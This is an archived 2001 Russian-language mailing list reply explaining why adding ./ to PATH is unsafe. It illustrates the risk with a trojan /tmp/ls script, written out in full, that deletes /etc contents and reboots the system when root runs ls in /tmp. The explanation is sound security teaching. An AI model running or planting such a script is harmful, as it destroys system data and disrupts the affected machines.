From: "Peter V. Saveliev" <peet@infosite.ru>
To: mandrake-russian@altlinux.ru
Subject: Re: [mdk-re] ./ in PATH
Date: Wed Sep 26 18:17:46 2001
Message-ID: <3BB1E4C7.7F4AE0FE@infosite.ru> (raw)
In-Reply-To: <14712579128.20010926180925@beep.ru>
Vladimir Karpinsky wrote:
> Hello Mandrake-russian,
>
> Объясните пожалуйста мне такую штуку:
> когда-то для облегчения запуска программ из ./, я в своем(ей) .bashrc
> включил ./ в PATH. Все вроде было ничего, пока кто-то из знакомых,
> увидев это, не закричал со страшной силой: "Это делать нельзя ни в
> коем случае!" Но вот аргументировано объяснить почему это делать
> нельзя, он не смог. Я тогда-то убрал ЭТО на всякий случай, но
> неудовлетворенное любопытство гложет уже который год. Вопрос
> соответственно: можно ли ЭТО так делать или нет, если нет, то почему?
Предположим, вы - админ. А я -тот при*к, который обнаружил этот баг. А
теперь мои и Ваши действия:
peet@yourhost$ echo -e "#!/bin/sh \n /bin/rm -rf '/etc/*' \n
/sbin/shutdown -r now \n echo -e '\007 отгреби' \n" > /tmp/ls
root@yourhost# cd /tmp
root@yourhost# ls
С наилучшими,
--
Петр.
next prev parent reply other threads:[~2001-09-26 18:17 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2001-09-26 17:58 Vladimir Karpinsky
2001-09-26 18:17 ` Igor Homyakov
2001-09-26 18:40 ` Peter V. Saveliev
2001-09-26 19:03 ` [mdk-re] [JT] " Igor Homyakov
2001-09-26 18:17 ` Peter V. Saveliev [this message]
2001-09-26 18:43 ` Re[2]: [mdk-re] " Vladimir Karpinsky
2001-09-26 18:19 ` Gosha
2001-09-26 18:34 ` cornet
2001-09-26 22:16 ` John Profic
2001-09-28 20:43 ` [mdk-re] " Mikhail Zabaluev
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=3BB1E4C7.7F4AE0FE@infosite.ru \
--to=peet@infosite.ru \
--cc=mandrake-russian@altlinux.ru \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
ALT Linux Community general discussions
This inbox may be cloned and mirrored by anyone:
git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git
# If you have public-inbox 1.1+ installed, you may
# initialize and index your mirror using the following commands:
public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
public-inbox-index community
Example config snippet for mirrors.
Newsgroup available over NNTP:
nntp://lore.altlinux.org/org.altlinux.lists.community
AGPL code for this site: git clone https://public-inbox.org/public-inbox.git